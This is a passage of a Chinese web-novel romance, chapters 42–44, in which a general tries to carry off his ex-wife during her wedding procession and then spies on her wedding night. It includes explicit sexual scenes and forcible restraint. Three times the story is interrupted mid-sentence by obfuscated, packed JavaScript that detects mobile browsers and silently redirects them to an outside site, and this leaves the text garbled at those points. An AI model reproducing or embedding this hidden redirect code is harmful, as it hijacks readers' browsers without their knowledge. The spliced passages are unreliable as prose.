谢羡风愈发不安起来。 他隐约意识到。 他与慕溶月之间,似乎有什么开始悄然发生了变化。 他不由得想起,从前慕溶月在外受了委屈,他随手买来的一个泥面人,便将她哄得笑逐颜开。 最后,她将那虎头娃娃连同他们初见时的那个粉袄子泥人一并摆在了橱柜里,如数家珍。 而这些…… 如今,都化作了火盆中的一抹灰烬,归于了尘埃。 或许,这就是他的报应。 他当初无意间将慕溶月亲手缝制的香囊丢入火盆、毁于一旦,而这份痛,如今,也报应在了他自己的身上。 谢羡风这时才如梦初醒地察觉到。 两年了,他还在原地,踟蹰不前。 而她却已然大步向前,将他远远地甩在了身后。 谢羡风在原地凝滞了许久,而刘彰仍跪倒在地,似乎还有话未说完。 谢羡风自嘲地开口。 “你若还有什么别的消息,一并说出来吧。如今的我……还有什么承受不住的?” “将军……” 刘彰这才抬起头,犹豫地看向他。 “属下还打听到了一件事。平阳郡主……她和宋国公的婚期已经定下了。” “喜帖已经发出去了。就在下月的中旬……他们就要拜堂成亲了。” 42. 第四十二天 吉日的喜宴上,华堂异彩。国公府的朱红大门前,大红灯笼高悬,喜乐悠扬,声声入耳。 今日是国公爷的大喜之日,国公府内的雕梁画栋皆饰以红绸,金色喜字熠熠生辉。府门前早就以红毯铺地,等待着从公主府来接亲的马轿,将新妇接到府中。 另一头的公主府。 夜光透过窗棂,洒在雕花梨木妆台前。 慕溶月端端而坐,铜镜映出她略施粉黛的面容,那双澄澈的眸子,散发着温润光泽。 这已经是她第二次穿上喜服了。比起初次的忐忑,如今心中已是淡然了许多。 “我的月儿,你今日真是容光焕发,比从前的任何一天都要明艳动人。” 沈惠心比她还要高兴难耐,眉开眼笑地坐在铜镜旁,亲自接过了丫鬟手中的木梳,细致地为慕溶月梳理鬓发。 “看来,你已经准备好要步入人生的下一步了。” 慕溶月拉过母亲的手,笑而不语。 其实,时至今日,她仍然没有全然做好再度成为他人之妻的准备。 她已经栽过一次跟头,要再一次选择步入婚姻,需要莫大的勇气。 但是…… 倘若那人是宋景渊的话,便好像变得不是那么难以接受了。 自从开始协理父亲的公务,慕溶月也逐渐参悟了几分官场上的局势。 两年前,莫老将军倒台,以桓王为首的新势力便风起云涌、日渐兴盛。不知不觉间,桓王四处招兵买马、贪贿敛财,已经暗中长成了一股不可小觑的势力。一方的兴起,必定意味着另一方的衰败。身为御史大夫的慕昭元大病一场后,慕家就好似变成了一块待宰肥肉,随时都可能会被吞噬殆尽。 偏偏就在这时,谢羡风也无意间追查到了桓王的走私军械一案。他只看到了冰山一角,却浑然不知此事背后的水深,也不知桓王的眼睛已经盯上了他,一场巨大的风暴已经在悄然中酝酿。 从另一个角度来看,也算是为慕家暂时吸引了桓王的注意。 成婚前,宋景渊曾对她说,桓王专程传来密信,便是要试探他的态度。 他认为这是一个绝佳的机会。 宋景渊意欲将谢羡风献祭,假意投诚,来获得桓王的信任。 慕溶月闻言,起初还有些犹豫:“此事若是传到了陛下面前……会不会对你不利?” “对我不利?你是指我构陷谢羡风之事?” 宋景渊却是莞尔一笑。 “你以为,我们如今的谋算,还能瞒得过陛下的眼目么?” 慕溶月瞬地哑口无言。 “其实,于陛下而言,谢羡风早就是一枚弃子了。若不然,陛下也不会放任谢一人戍守边疆两余年。他是莫老将军的遗党,本就是受孤立的边缘之人。如今若能被我们利用,成为我借以接近桓王的僚机,这何尝不是将一颗废棋起死回生了?更进一步说……于陛下而言,假借桓王之手除了他一个荆川将军,也不过是顺水推舟的小事罢了。” 慕溶月点了点头,就这样被宋景渊说服了。 她再一次体会到,官场上的变幻莫测。 想不到,有朝一日,她和谢羡风也会站在了敌对的两面。 宋景渊顿了顿,慢慢牵起了她的手,放在掌心摩挲,“……害怕了吗?毕竟,你与他也曾有过结发夫妻之情,最后却不得善终,落个你死我活的结局。” 慕溶月反手握住了宋景渊的手指,惹得他反倒是出乎意料地一怔。 “不害怕。” 慕溶月的声音很平静。 她早就想清楚了。 若是天平的一端放上了她慕家的尊荣,那么,无论另一端摆着什么,她都会毫不犹豫地选择往前者的托盘上加砝码。 不知不觉间,她已经习惯了冷静地抛开情绪,去权衡利弊。 若是牺牲一个谢羡风,能换回她慕家的兴隆,她愿意主动做那个不仁不义之人。 如今,她满心只有一件事。 当初,她便是满脑的情爱,才没能护住腹中的孩子。 现在,她只想守护在意的家人,为此不惜付出一切。 …… 正堂之内,慕溶月端正地向沈惠心夫妇行了礼,便被风光地抬上了从国公府来的喜轿。 沈惠心攥着手帕,站在门前望着喜轿远去的扬尘,默默地擦拭眼角的泪光,止不住在心底为女儿坎坷不定的前路祈福。 但愿她这回选择的郎婿,会是能够陪她终老一生的良人。 …… 慕溶月坐在喜轿之内,车马摇晃,她的思绪也纷乱起来。 她不禁想起了昨日见到宋景渊时,她反复提起的一个问题。 “你真的有把握,他一定会在我们拜堂时现身么?” “你想听实话吗?”宋景渊苦笑了一下,“……不能。” 慕溶月皱紧眉头:“那你为何还大费周章地办这场婚宴……” 说到一半,话音戛然而止。慕溶月这才后知后觉地领悟了宋景渊的弦外之音,惹得满脸绯红。 宋景渊噗嗤地笑出了声,主动举起了桌上的酒盏,一饮而尽。 “好啦,我知道你要说什么。是我又耍心眼了,我自罚一杯。” “是我越来越等不及了,想早些娶你回家……才趁势借了这股‘东风’。” 说着,他又悠悠地将慕溶月拉进了怀里,亲密地蹭她的脸颊,是耳鬓厮磨的温存。 “无论怎样,明日你就是我的国公夫人了。你就是后悔,也来不及了。” 看着他傻笑的脸,慕溶月忍俊不禁,还是不想与醉鬼计较,便索性顺从地将额首贴在了他的臂弯之间,闷声道:“……不会后悔的。” 这还是他们第一次在独处时有这般亲近的举动……那是一种无关表演的信赖,全然发自真心。 未来会是坦途么? 慕溶月合上双眼,默默祈祷。 朦胧之中,却好似感觉车轿的路线有些偏离了正路……怎么她都颠簸了好几个时辰,也没看见国公府的半点影子? 等到她反应过来之时,车轿已经被停在了一条荒僻的林间小路。慕溶月倏地感到身后被一团阴影笼罩,她喜服的衣角被一双指节分明的手拽出道道皱褶——从身前传来极强的压迫感,让她心头一沉。 她听见一个熟悉的声音。 “不要说话。” 慕溶月抬起眼,与谢羡风对上了视线。 她的反应很镇定,简直冷静得不像话。 谢羡风不由得怀疑反问:“……你知道我会来?” 慕溶月没有开口,只幽幽的一个眼神,就足以让他发疯。 她头戴凤冠,身披霞帔,唇上抹着正红色的口脂,衬得她好似一朵娇艳欲滴的芍药花,任人采撷。 谢羡风嫉妒得发狂。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774250|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >嫉妒那个能让她再次穿上这身喜服的人、嫉妒他能沾染到哪怕一分一毫独属于她的美好、嫉妒她身边的一切……甚至嫉妒她唇上涂抹的口脂,竟然能如此亲密无间地贴着她的唇瓣。 如果可以,他多想将她唇角上的那抹红吞咽进肚,再尽数掠夺她的呼吸,在她的身上留下只属于他的烙印。 她风平浪静的一眼,却能将他的内心掀起狂风骤雨。 他忽然憎厌起了她的从容不迫。 也憎恶这般失衡的自己。 “你是什么时候来的?”慕溶月这时掀开了窗帐,见到喜轿前面的马夫已经晕得不省人事,这才终于开口问,“你将他们都迷晕了?” 谢羡风没吭声。 慕溶月蹙紧眉头:“难道,你想在光天化日之下劫走国公府的车轿?你是不是疯了?” 谢羡风紧紧攥着慕溶月喜服的衣角,不肯松手。 “……我是来带你走的。” “这是我们……这是我最后的机会。” “放肆!”慕溶月冷冷反驳,“你是以什么立场来同我说这句话的?” 她的话犹如当头一棒,砸得谢羡风心口闷痛。 的确。 他没有立场。 也没有资格让她不要嫁给宋景渊。 可他却也不肯松口,两方就这样僵持着。 谢羡风大病未愈,脸色是死气沉沉的病态,额上还布着细密的薄汗,胸腔沉闷地起伏着。他穿着掩人耳目的夜行装,混进了马夫的队伍,费了好一番功夫才潜入了喜轿之内,却没能得到慕溶月的一个正眼。 两个成人挤在狭窄的喜轿之内,连逼仄的空气也变得浑浊。 谢羡风单膝跪在轿门口的位置,他的身形庞大,便只能低垂着头,唯独伸出一只发颤地手臂,牢牢地抓着慕溶月的裙角,仿佛想要握拢一把留不住的流沙。 最终,是他率先败下了阵来。 这一刻,他不想再追问她为什么要将他送的礼物烧为灰烬;也不想再纠结她为何在得知了他病重的消息后,却也依旧狠心地不闻不问…… 他什么都不想思考了。 他只想要她回到他身边。 “好……我的确没有立场阻止你嫁给宋国公。”谢羡风听见自己的声音都在发抖,“但是……你也没有权力带走我的孩子。” “慕溶月,你不能让我的孩子认别人作父亲……你不能这么对我。” 此时提起孩子——无异于是火上浇油。 慕溶月仿若被踩了尾巴的猫,瞬间激得暴跳而起。 “谢羡风,你出去,我不想再看见你!——滚!” 她反抗得厉害,连喜服也被撕扯出了一个口子。谢羡风彻底慌了神,却顺势按住了她的脚踝,嗓音喑哑,掌心却愈发收力。 “我不走——除非你带我去见我们的女儿!” 谢羡风已经疯了。 他失控地发力,慕溶月的脚踝都被他生生勒出了一圈红痕。 什么见孩子,只不过是幌子。 他是真的动起了抢亲的念头。 慕溶月盛怒之下,猛地在他脸上扇出一掌! 随着那声清脆的耳光乍响——止不住的泪珠也溅洒在地。 慕溶月红着双眼嘶吼。 “你的女儿早就死了!” “她两年前就死了——谢羡风,你真想见她,就下去陪她吧!” 43. 第四十三天 谢羡风的手指兀地松开。 “你说什么……” 怎么会死? 不可能…… 他茫然地睁大了双眼,干涩地喉头滚动:“是谁干的……” “你怎么还有脸问我?”慕溶月指着他的鼻子哽咽道,“就是你克死了我的孩子!” “若不是你,我的孩子何至于还未出世便染上了残疾……若不是你,她本该有一个光明灿烂的未来!” 谢羡风虎躯一震,头脑一片空白。 见他脸色如土,慕溶月却是嗤地冷笑一声。 “你现在知道后悔了?你固执己见跪在皇殿之前的时候,可曾有一瞬想过你的孩子?想过她又是何其的无辜,得不到他生父分毫的怜悯!” “谢羡风,你根本不配为人父!” 说到后面,慕溶月激动地举起手中的团扇往他身上砸去! “纵使她没死,今后也不可能认你做爹,我一辈子都不会允许她见你——” 那团扇落在了谢羡风的脚边,倏然碎成了两段。 谢羡风快要忘记了呼吸。 他的孩子没有了。 是从什么时候开始的? 或许,只是他一直都未察觉。 两年前的暴雨,他失去了莫恩师,也将她和孩子丢下了。 那时,她还怀着身孕,骤然失力地昏倒在了倾盆大雨里。他听闻了身后传来丫鬟的惊呼声,大喊着夫人不好了——颤抖着手,闻声而起。却因为久跪僵硬,还险些一并栽倒在雨洼之中。 最后,他将她抱起送上了车轿,一路驾马,去寻太医。 明知她就在一墙之隔的厢房之内躺着,可他眼前浮现起她那惨白的脸……心头霎时犹如被冷水浇灭的湿柴堆。 他不知道该如何去面对她。 于是,索性选择了逃避,而只是让小厮去打探情况。 小厮说,母子平安。 他便以为,这场风波已经过去了。 倘若,当时他能再多追问一句……若能拿出真心坦诚以对,再对她多几分关心—— 结局,是不是就会截然不同? 谢羡风的心阵阵刺痛起来,他颤抖着抬起眸,双瞳赤红。 忽然,他双臂一用力,将慕溶月整个抱在了怀里。 慕溶月的喜服也被顺势扯烂,露出了她的彩头鞋履。 她受了惊吓,双腿悬空地蹬着,“谢羡风,你疯了!你要做什么!” 谢羡风已经听不进去她的话了。 他已经失去了一个亲生骨肉。 他不能再失去她。 谢羡风将慕溶月抱出了马轿,任凭她如何挣扎,都将她一口气抱到了自己的马上。 他几乎失了控,一心想把她关在一个只有他才知道的地方——必要的时候,再施以强制的手段,留住她。 这样…… 她是不是就不会离开了? 他们是不是也就可以不再分开了? 这股疯狂的念头犹如病毒滋生,在脑海之中愈演愈烈——却戛然中止于眼前的一抹血色。 鲜血顺着谢羡风的脖颈流淌下来,他几乎感受不到疼痛,只有麻痹一般的窒息。 下一刻,他看见慕溶月毅然地拔下了发簪,正用尖刃处对准他的脖间,已然划出了一道血淋淋的伤口。 “谢羡风,若你执意要毁了我,那我就同你鱼死网破!” 殷红的血染湿了他的衣襟。 谢羡风终于松开了手。 “我只是想你回到我身边,”他麻木地垂下了手,语气酸涩,竟是显出了几分失措,“……我只是,想回到从前的日子。” 慕溶月扔掉了那枚沾血的发簪,漠然地望着他。 “已经回不去了。” “从前,你总是爱我胜过爱你自己……”谢羡风仍在喃喃自语,“难道……如今,你对我,真的连一丝一毫的情分也不在了么?” 不知想到了什么,慕溶月忽地笑了一下。 “在几日前,景渊也问了我同样的问题。” 谢羡风呼吸一促。 “你是如何回答他的?” “他问我,我与你也曾有过结发夫妻之情,最后却不得善终,可曾想过后悔。” 闻此言,谢羡风喉头滚动,手心已布满一层薄汗。 “我当时只说,”慕溶月盯着他的脸沉静道,“我庆幸自己选对了阵营。” 一句话,让谢羡风的眸子逐渐暗淡了下来。 “阿月……”他握拢了双拳,又无力地松开,却仿佛依旧不甘心一般,自说自话着,“我会终身不娶,等你回来的……” 一遍又一遍,不停地重复着——宛若要将这句誓言烙印在脑海的深处。 “那是你的选择。” 慕溶月终于解开了桎梏,冷漠地跳下了他的马鞍,毫不犹豫,回到了自己的喜轿之上。马夫还不省人事,她便亲自握紧了缰绳,扬尘而去,头也不回。 只留谢羡风形单影只的背影,愣怔在原地。 *** 宋景渊在国公府等待了许久,都没见到接亲的喜轿回来。 他终于觉察出了几分不对,刚派出一支侍卫队前去探查,守门的小厮便欣喜地吆喝道:“新娘来了——” 宋景渊顾不上礼仪教仪,丢下秤杆便大步往门口走去。 “夫人,你怎么了?” 见到慕溶月的瞬间,他惊出了一身的冷汗。 慕溶月此刻的模样可谓是狼狈不堪。 她头上的凤冠还在,头簪却莫名丢失了一支;披帛之下是被撕扯的喜服,被一层薄布松垮地掩盖着。 接亲的队伍与喜轿走失了,只剩下几个同行马夫还昏厥着。 慕溶月是自己驾马回来的。 其间发生了什么,不言而喻。 宋景渊忽然有些庆幸自己当初亲自教授了她骑射之术——至少在危急时刻,能够用以防身。 “景渊……” 望着慕溶月失力地靠在自己肩头,宋景渊咬牙切齿,心口丝丝地疼痛起来。 她的脸色很憔悴,宋景渊简直不能想象这一路上她承受的流言蜚语。 谢羡风这个疯子。 犹如脱缰的野兽鲁莽灭裂、自私自利,竟敢堂而皇之地抢亲——让他宋家的新妇衣冠不整地独自驾马送亲。 不仅让他国公府丢尽了颜面,也伤透了他妻子的心。 简直是荒谬! “夫人,你有没有哪里受伤?” 宋景渊内里已然怒不可遏,但还顾及着慕溶月的感受,暂且隐忍不谈,稳稳地扶住了慕溶月的肩头,将她往屋中揽带去。 若不是还记挂着桓王的要事,他真想施加手段,索性直接暗杀了谢羡风的一条贱命。 不——不对。 他们夫妻今日蒙受的屈辱,不能就这么轻易地算了。 他绝不能轻饶了这竖子。 有朝一日——必定要加倍地折磨回去! 宋景渊将慕溶月带回了房中,为她斟了一盏热茶,哄她喝下。 慕溶月舒了口气,面色这才红润了几分。 可不知怎么,她忽然僵住了动作,眼神好似凝固了一般,连汗毛都缓缓倒立了起来。 宋景渊蹙紧眉头问:“夫人,怎的脸色如此难看?” 慕溶月忽而感到一股强烈的注视感。 是谢羡风。 他没有走。 他还在这里。 还在这里……盯着她。 慕溶月心中掀起阵阵波澜,面上却强装镇定,放下了杯盏。 宋景渊刚起身道,“我带你去换件衣裳。” 慕溶月却倏然按住了他的手,“拜堂吧。” “什么?” 发生了这档子晦事,宋景渊原以为,慕溶月会需要一段时间来缓缓。 却没想到,她目光璀璨如星芒,凝视着宋景渊道。 “我想成为你的妻子,不想再等了。” *** 喜烛摇曳,红帐之中,慕溶月与宋景渊并肩而坐,共饮合卺酒。 礼毕婚成,宋景渊在慕溶月额上落下蜻蜓点水的旖旎一吻。 那一霎时,黑暗之中,慕溶月猛然感到身后那道注视的视线也随之变得灼热起来。 春宵之夜,小厮熄灭了冉冉的油灯,唯独剩下床头的一对红烛。 宋景渊褪去了外袍,扭过头,见慕溶月裹着火红色的纱裙,坐在布满桂圆与红枣的床沿上,竟是在无声地发着抖。 宋景渊以为她是在紧张。便放柔了嗓音,轻轻将她拥入怀中。 “夫人,可是夜里太凉了?” 慕溶月摇了摇头,背后那股炽热的视线还在,且愈发逼近——令人毛骨悚然。 “他还在……”慕溶月低声道,“就在附近……他还没有走。” 宋景渊好不容易平息的怒焰顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不愿承认,但她仍在宋景渊眼瞳的倒影里,看见了那个意乱情迷的自己。 …… 国公府的烛光亮了一宿。 宋景渊承认,起初他的确有几分报复心理。 但当两人的身姿被投射在了窗影上时,一切都变了味道。 宋景渊开始卖力地宣誓着主权,一场无声的较量就此展开。 他甚至为了叫那窗外之人能看得更仔细,而反复地变换动作,从桌前,到榻沿……直到一片狼藉,乱了满地。 他要让窗外那个无知的男人看清楚,慕溶月如今是属于谁的女人;能让她发出那般破碎闷哼的人,也只有他宋景渊。 而只要他还在一日, 他谢羡风便永远只能躲在阴暗的角落里,睁大了眼当个旁观的第三者。 …… 啪。 屋檐上的瓦片落在了地上,碎成了好几瓣。 尖锐的噪音,并没有打断屋内的气氛,却骤然间刺痛了谢羡风脆弱的神经——也将他的理智推向了崩溃的边缘。 谢羡风攥紧了手中的短刀,就连掌心被刺破也浑然不觉。 他目眦欲裂,幻想着自己用这把尖刀划开宋景渊的喉管,剔骨抽筋,鲜血四溅。 他太过怒急攻心,以至于呛出了一口暗红的血,染红了唇瓣。 谢羡风瞬间失了力,短刀坠落在地,他也痛苦地闭上双眼,再也看不下去。 他只想逃。 颤抖地支起身子,刚想跳下房檐,却险些拦腰滑倒下去。 那平日不过手到擒来的距离,他如今却踩了个空,最后——沉重地摔碰在了那坚硬的砖石路上。 呆呆地仰望着一碧如洗的夜空。 眼瞳不住地涣散。 谢羡风只能迫使自己去幻想。 幻想着窗影上交叠的两人,是他与她。 幻想着与她彻夜缠绵的人,是他。 幻想着她今日红妆出嫁的人,是他。 唯有如此,他才能在钻心刺骨之痛里得以片刻的喘息。 唯有如此,他才能短暂地忘却,她已经不再爱他了的事实。 44. 第四十四天 宋景渊一旦开了荤,便犹如食髓知味的狼兽,彻夜地缠着慕溶月,不让她合眼。 慕溶月虽然不是初尝情-事的少女了,但这般激烈的床笫之事,她也从未体验过。 从前谢羡风总是一副游刃有余的模样,还未曾这般激烈地向她索求过。 好不容易到了晨光熹微、天蒙蒙亮之时,宋景渊才终于闭上眼歇下了。 慕溶月刚要起身,他却大手一伸圈住了她的腰肢,懒洋洋地呢喃。 “夫人,陪我睡会吧……” 慕溶月无奈,只能慢慢掰开他的手,安抚道,“我去去就回来。” 许是的确困倦了,宋景渊这才松开了手。慕溶月得空抽出身来,刚走两步,便觉腰酸腿软,只好唤来了杏雨为她备水沐浴。 她刚要抬腿跨进浴桶,继而感觉从两股之间流淌下来一股黏腻浓稠的液体,惹得人双腿发颤。 “啊……小姐……” 杏雨也注意到了,连忙找来帕巾想为慕溶月擦洗。 慕溶月的脸好似天边的火烧云,捂着双眼,却抽出一只手来移开了杏雨的脸:“转过去……别看。” 最后,费了好一番功夫,总算是清洗干净了。 …… 天色还早,慕溶月却再没了睡意。 索性梳洗完,裹上一件单薄的披风,来到庭院里漫步。 忽然兴从中起,便道:“去把我那琴拿来吧。” 杏雨应声道好,刚打开了箱柜,没等搬出琴来,却无意间翻出了一个囊袋。 她们刚搬到国公府来,行李太多,一时间还没来得及分类归整。这囊袋杏雨只看着眼熟,一时间想不起来里面装着什么,索性解开口子看了一眼,只一眼,脸色却是瞬间变了。 “这是什么?”慕溶月此时也察觉了异样,向她伸出手,“拿来我看看。” 杏雨一时间支支吾吾,但还是顺从地把囊袋递了过去。慕溶月低头扫了一眼,神色顿时凝滞了。 那是一件桃红色的合欢襟。 是从前她穿过的那件。 慕溶月轻抚那合欢襟的衣褶,心头涌上一股说不上来的滋味。 尽管已经过去了许久,但如今再度捻起这件旧衣来,慕溶月心头仿佛还能重演当时的那股生涩与忐忑不安。 那时的她,还是情窦初开的少女。 她想要俘获丈夫的青睐,于是,小心翼翼地揣摩男人喜欢的颜色,讨好一般地穿上了这件合欢襟,只希望能吸引他的目光。 可他无动于衷的冷漠反应,却让她的心坠入了冰窟。 他不仅没有多看她一眼,反倒当着她的面,神色不变地提起了另外一个女人。 想起多年前的旧事,慕溶月的心中仍会隐隐约约的痛着。 要怪,只能怪当时的她太傻。 这般折辱的事,她绝不要再经受第二次了。 于是,她便冷漠地收回了手:“收起来,找个地方扔了吧。” 话音未落,身后却忽然传来一道脚步声。 宋景渊在里衣外只披着一件长袍,便缓步来到了慕溶月身后,轻轻地搂住她的腰肢,脸颊也蹭了蹭她的颈窝。 “夫人穿得这么单薄,若是着凉了,我可要心疼了。” 慕溶月感到身后一团温热贴了上来,想起昨夜的疯狂,不由得有些脸红:“……你怎么醒了?” “没有你在,我睡不着。”宋景渊亲昵地吻了一下她的耳鬓,“你终于成为我的国公夫人了……你可知我等这一日等了多久么?” 慕溶月笑着推了一下他。 “我又不会跑了,好啦,你快回房去睡吧。” “不要。我要多陪夫人一会儿。” 宋景渊却缠人得紧,搂着慕溶月的腰,又顺势看见了杏雨抬来的琴筝。 “夫人起这么早,可是有了雅兴要演奏一曲?看来我又有耳福了。” 他的指腹刚覆上琴弦,忽然看见了杏雨手中的囊袋,“嗯?这是什么?” 杏雨一时间慌乱了一下:“这……” 却已经来不及了,宋景渊眼疾手快地夺过了囊袋,伸手一掏,表情瞬时变得意味深长起来。 他手掌很大,几乎将那件单薄的里襟全然包裹在了手心,再举到了慕溶月眼前,逐个地松开手指——那件合欢襟就这么水灵灵地展露在了二人眼前。 宋景渊用小指尖勾着那合欢襟的吊带,笑着向慕溶月凑近:“夫人……这是要穿给我看么?” “……才不要!”慕溶月被他逗得面红耳赤,连忙劈手抢了过来,揉成皱巴巴的一团,“我一会便叫人把这衣服剪烂烧了去。” 见她反应这样激烈,宋景渊很快便反应了过来。 “……这可是那竖子送你的?” 以慕溶月的性子,不像是那种善于闺中情-趣的类型。那么这件合欢襟,必定是谁人特意准备的。 又见到慕溶月如今旧事重提的反应,想必……当时的情况一定很不如人意了。 宋景渊一时啼笑皆非,只好伸手勾起了慕溶月的下颌,引得她的眼神与自己相对。 “我的月儿,没有男人会对心爱的女人穿上这合欢襟还坐怀不乱的。”说罢,他故意牵起慕溶月的手往下探去,噙着笑扬眉道,“不信……你瞧。” 慕溶月触到一个硬物,下意识猛地缩回了手,脸红透了。 宋景渊有理有据道:“所以,那谢羡风定是个阳虚之人。” “……”慕溶月噗嗤一声笑了,“原来,你兜了一圈,只是在安慰我么?” “没有,”宋景渊又蹭了蹭她,“我在吃醋呢。” “……咳。” 见他又要动手动脚起来,顾及到两人还在庭院之中,慕溶月红着脸推开他的肩,“人都已是你的了,还有什么醋可吃?” “夫人……”宋景渊却不依不饶,贴着她的耳鬓,就像念经一般絮语着,“你觉得,是我更周到些,还是他?” “我与他,你更偏好哪一个?” 他不断地换着问法,好似打定了主意要问出一个结果来。 “……”慕溶月红透了脸,一个问题也不想回答,只能害羞地捂住他的脸,“以后别再拿你与他的这等子事……作比较了。很怪。” 很怪,太怪了。 难道要她认真去回顾二人的差异,好来分个高低吗? 光是想象了一下,慕溶月的头皮都像是要炸开了。 那样简直就像是——两个人同时在服侍她一般…… 慕溶月的面容好似被打翻的颜料盘。宋景渊不想逗得过了头,把人吓跑了,便是得不偿失了。于是低低地笑了几声,便收回了手。 “是吗?那我以后便不多问了。” “那,作为交换……今晚穿给我看,好么。”说罢,他还恋恋不舍地描摹着那合欢襟的轮廓,“这么好的料子,烧掉了多可惜啊。” 慕溶月忸怩不安地移开了眼。 “可是……我已经很久不穿了。” 恰巧这时——清风徐过,吹动了她的青丝,也顺势撩开了她肩上披风的一角,露出了那一截雪白的肩颈,衬得她绯红的脸颊更是楚楚可人。 昨夜的潮热再度掀起涟漪,宋景渊顿时又改主意了。 “不行,忍不住了。”他猛地上前,将慕溶月抱了起来,直往屋内走去,“……现在就来吧!” “啊,宋景渊——” 慕溶月推脱不能,只能听之任之地被带回了寝房之中。 …… 等到清理完残局,早已是日晒三竿了。 窗外是鸟语花香,而慕溶月板正地躺在床榻上,已经没有翻身的力气了。 好在宋景渊事先吩咐下人提前备好了早膳,这会直接送到了寝房,伺候她吃完,再用帕巾为她擦拭唇角。 刚放下了空盘,清净的时间还没多久,就有小厮前来通传。 “国公爷,国公夫人……有客到访,是荆川的谢将军。” 慕溶月脸色一沉,正欲开口,宋景渊却忽然按住了她,“夫人,我正想同你说这件事。” 慕溶月撑着床榻艰难地坐了起来,“……怎么了?” 宋景渊顿了顿,良久才缓缓解释道。 “方才,我收到了桓王的回信,他已经知道了谢羡风回京的事。” “所以,这几日,他想在京城办一场马球会。” 马球。 闻言,慕溶月心中一滞。 她上一次参加马球会,还是同谢羡风在莫府的那一回。 至今想来,仍旧是心头挥散不去的阴霾。 “所以,他希望我们能将谢羡风带到么?” 宋景渊点头:“不错。” 慕溶月知道,谢羡风仍在追查那军械走私一案,只是,他还并不知道,桓王就是其中最大的幕后主使。若他们真的将他毫无戒备地送去了桓王步设下的这场鸿门宴,便无异于亲自推他进了狼巢虎穴。 “我去一趟吧,正好会会他。”宋景渊主动起身道,“反正他已经来了京城,看样子,一时半会是不会回去了。” 慕溶月点了点头。那小厮却面有迟疑地弯下了腰:“国公爷,那谢将军还有话想带到……” “什么?” “他说……他只见国公夫人。若是旁的人来了,他一概不予理会。”小厮说,“若是国公夫人一直不肯见他,他就留在这里……直到夫人愿意露面为止。” 他越是往下多说一句,宋景渊的脸色就越是黑上一分。 直到最后,拍桌而起。 “他竟敢要挟我?” 见他就要动怒,慕溶月便抬手按下了他的动作,“无妨,那就换我去说吧。” “可是……” “我很快就回来。” 宋景渊却皱起眉,上下打量着慕溶月,见她唇红齿白,穿着最简素的罗裙,发髻上也只插着一支白玉簪做点缀。 最后,笃定道:“不行!” “怎么了?” “你穿得太好看了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784395|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕溶月眨了下眼,“……可这已经是我最朴素的衣服了。” 宋景渊扭头便随手找来一件纯黑色的斗篷,将慕溶月罩得严严实实,只露出半张脸来。 “他昨日能做出撕喜服的丑事,谁知他今日又会做出什么偏激之举来?”宋景渊严肃地说,“夫人,我会在旁边盯着他的,稍有不对之势,我马上冲过去救你!” 慕溶月哭笑不得地握住了他的手。 “好,我知道了。” …… 大门哗地一声开了。 谢羡风顺势望去,慕溶月已然站在了他的眼前。 “谢将军。” 她平静地望向他。 仅仅是一夜未见,谢羡风却感觉疏远了许多。 两人面对面站着,却宛若咫尺天涯。 慕溶月身上裹着一件深色的斗篷,从头到脚,什么也没露。 但谢羡风还是止不住地心中一动。 她身上那熟悉的味道。 她走路时的姿态。 就连她说话习惯停顿的尾音。 只要靠近她一寸,他便总能被轻易地撩动了心弦。 她美得好似天边的一轮皎月,只可远观,不可亵玩。 他已经见过了她一丝-不-挂的身姿。 也见过她在他身下、泫然欲泣的模样。 曾经是那样的垂手可得。 可如今,他就连触碰的资格也被夺去。 这样的落差,简直让他发疯。 “阿月……你来了。” 谢羡风喉结滚动,终于挤出了一丝声音。 慕溶月却下意识皱紧了眉头。他那滚烫又露-骨的目光,好似隔着这一层衣料在窥探她赤-裸的肌肤。 不知是不是错觉,他今日凝视她的目光比起以往更有攻击性……更加的让人避之不及。 “别再叫我阿月了。”慕溶月开口打断他,“谢将军,你该有分寸。” “……嗯。” 谢羡风难得顺从,仿若雄狮被拔去了利爪,“平阳郡主。” “你来找我,有什么事?” “昨天的事……我想向你道歉。”谢羡风认真地解释,“我那时冲动了,并不是真的想毁了你。” 慕溶月讪讪地一笑。 “所以,你就是来说这个的?” 她的笑声低沉,如溪水潺潺流淌进了谢羡风的耳畔。 他忽感心尖好似被羽毛挠了一下,恍惚地停顿了一刻,才从身后拿出了一叠屉笼。 一时间,食香四溢。 “听说,你喜欢素芳斋的酥果。” “不知道你喜欢什么口味,我就一并买来了。” 昨夜,他又犯起了头风,一直痛到了后半夜。 待到理智回笼了几分,他便去叫来了从前在慕溶月跟前伺候过的下人们,仔细地盘问了一番。 她爱穿什么样式的衣裳,嗜甜还是喜辣。 喜欢什么,不喜欢什么。 一一都问了个清楚。 这时,他才知道,原来,她独独偏爱素芳斋的那一盒酥果。 从前,莫老将军也偏好甜口。因此,他曾给莫家送过几回的甜点做礼。 这么久了,他还不曾知道,原来他的妻子也有同样的喜好。 